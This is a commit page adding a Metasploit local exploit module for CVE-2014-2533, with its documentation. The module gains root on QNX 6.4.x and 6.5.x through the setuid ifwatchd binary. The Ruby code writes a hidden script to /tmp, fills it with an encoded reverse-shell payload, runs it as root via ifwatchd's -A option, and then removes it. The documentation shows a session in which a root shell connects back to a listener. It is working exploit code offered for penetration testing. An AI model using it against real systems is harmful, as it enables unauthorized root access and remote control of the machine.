Land #9745, Add ifwatchd QNX privilege escalation exploit module
parent
1ff5d8f6bd
commit
2be1b87d0d
|
@ -0,0 +1,64 @@
|
|||
## Description
|
||||
|
||||
This module attempts to gain root privileges on QNX 6.4.x and 6.5.x
|
||||
systems by exploiting the `ifwatchd` suid executable.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
`ifwatchd` allows users to specify scripts to execute using the `-A`
|
||||
command line argument; however, it does not drop privileges when
|
||||
executing user-supplied scripts, resulting in execution of arbitrary
|
||||
commands as root.
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
* QNX Neutrino 6.5.0 (x86)
|
||||
* QNX Neutrino 6.5.0 SP1 (x86)
|
||||
|
||||
QNX Neutrino 6.5.0 Service Pack 1 is available here:
|
||||
|
||||
* http://www.qnx.com/download/feature.html?programid=23665
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. `use exploit/qnx/local/ifwatchd_priv_esc`
|
||||
3. `set session <ID>`
|
||||
4. `run`
|
||||
5. You should get a *root* session
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
**SESSION**
|
||||
|
||||
Which session to use, which can be viewed with `sessions`
|
||||
|
||||
**WritableDir**
|
||||
|
||||
A writable directory file system path. (default: `/tmp`)
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf5 > use exploit/qnx/local/ifwatchd_priv_esc
|
||||
msf5 exploit(qnx/local/ifwatchd_priv_esc) > set session 1
|
||||
session => 1
|
||||
msf5 exploit(qnx/local/ifwatchd_priv_esc) > set lhost 172.16.191.188
|
||||
lhost => 172.16.191.188
|
||||
msf5 exploit(qnx/local/ifwatchd_priv_esc) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.191.188:4444
|
||||
[*] Writing interface arrival event script...
|
||||
[*] Executing /sbin/ifwatchd...
|
||||
[*] Command shell session 2 opened (172.16.191.188:4444 -> 172.16.191.215:65500) at 2018-03-22 15:18:48 -0400
|
||||
|
||||
id
|
||||
uid=100(test) gid=100 euid=0(root)
|
||||
uname -a
|
||||
QNX localhost 6.5.0 2012/06/20-13:50:50EDT x86pc x86
|
||||
```
|
||||
|
|
@ -0,0 +1,121 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'ifwatchd Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module attempts to gain root privileges on QNX 6.4.x and 6.5.x
|
||||
systems by exploiting the ifwatchd suid executable.
|
||||
|
||||
ifwatchd allows users to specify scripts to execute using the '-A'
|
||||
command line argument; however, it does not drop privileges when
|
||||
executing user-supplied scripts, resulting in execution of arbitrary
|
||||
commands as root.
|
||||
|
||||
This module has been tested successfully on QNX Neutrino 6.5.0 (x86)
|
||||
and 6.5.0 SP1 (x86).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'cenobyte', # Discovery and exploit
|
||||
'Tim Brown', # Independent discovery
|
||||
'Brendan Coles' # Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-2533'],
|
||||
['BID', '66449'],
|
||||
['EDB', '32153'],
|
||||
['URL', 'http://seclists.org/bugtraq/2014/Mar/66']
|
||||
],
|
||||
'DisclosureDate' => 'Mar 10 2014',
|
||||
'Platform' => 'unix', # QNX
|
||||
'Arch' => ARCH_CMD,
|
||||
'SessionTypes' => %w(shell meterpreter),
|
||||
'Targets' => [['Automatic', {}]],
|
||||
'Privileged' => true,
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => '',
|
||||
'DisableNops' => true,
|
||||
'Space' => 1024,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'gawk generic'
|
||||
}
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'WfsDelay' => 10,
|
||||
'PAYLOAD' => 'cmd/unix/reverse_awk'
|
||||
}
|
||||
))
|
||||
register_options([
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
])
|
||||
end
|
||||
|
||||
def ifwatchd_path
|
||||
'/sbin/ifwatchd'
|
||||
end
|
||||
|
||||
def check
|
||||
unless setuid? ifwatchd_path
|
||||
vprint_error "#{ifwatchd_path} is not setuid"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good "#{ifwatchd_path} is setuid"
|
||||
|
||||
CheckCode::Detected
|
||||
end
|
||||
|
||||
def base_dir
|
||||
datastore['WritableDir']
|
||||
end
|
||||
|
||||
def is_root?
|
||||
id = cmd_exec 'id'
|
||||
(id.include?('uid=0') && id.include?('root'))
|
||||
end
|
||||
|
||||
def exploit
|
||||
if is_root?
|
||||
fail_with Failure::BadConfig, 'Session already has root privileges'
|
||||
end
|
||||
|
||||
unless check == CheckCode::Detected
|
||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
||||
end
|
||||
|
||||
script_path = "#{base_dir}/.#{rand_text_alphanumeric rand(10..15)}"
|
||||
|
||||
print_status 'Writing interface arrival event script...'
|
||||
cmd_exec "echo '#!/bin/sh' > #{script_path}"
|
||||
cmd_exec "echo 'PATH=/bin:/usr/bin' >> #{script_path}"
|
||||
cmd_exec "echo 'IFWPID=$(ps -edaf | grep \"#{script_path}\" | awk \"!/grep/ { print $2 }\")' >> #{script_path}"
|
||||
exp = payload.encoded.gsub('"', '\"').gsub('$', '\$')
|
||||
cmd_exec "echo \"#{exp}\" >> #{script_path}"
|
||||
cmd_exec "echo 'kill -9 $IFWPID' >> #{script_path}"
|
||||
|
||||
cmd_exec "chmod +x '#{script_path}'"
|
||||
|
||||
print_status "Executing #{ifwatchd_path}..."
|
||||
interface = 'lo0'
|
||||
cmd_exec "#{ifwatchd_path} -A '#{script_path}' -v #{interface} >/dev/null & echo "
|
||||
|
||||
Rex.sleep 5
|
||||
|
||||
cmd_exec "rm -f '#{script_path}'"
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue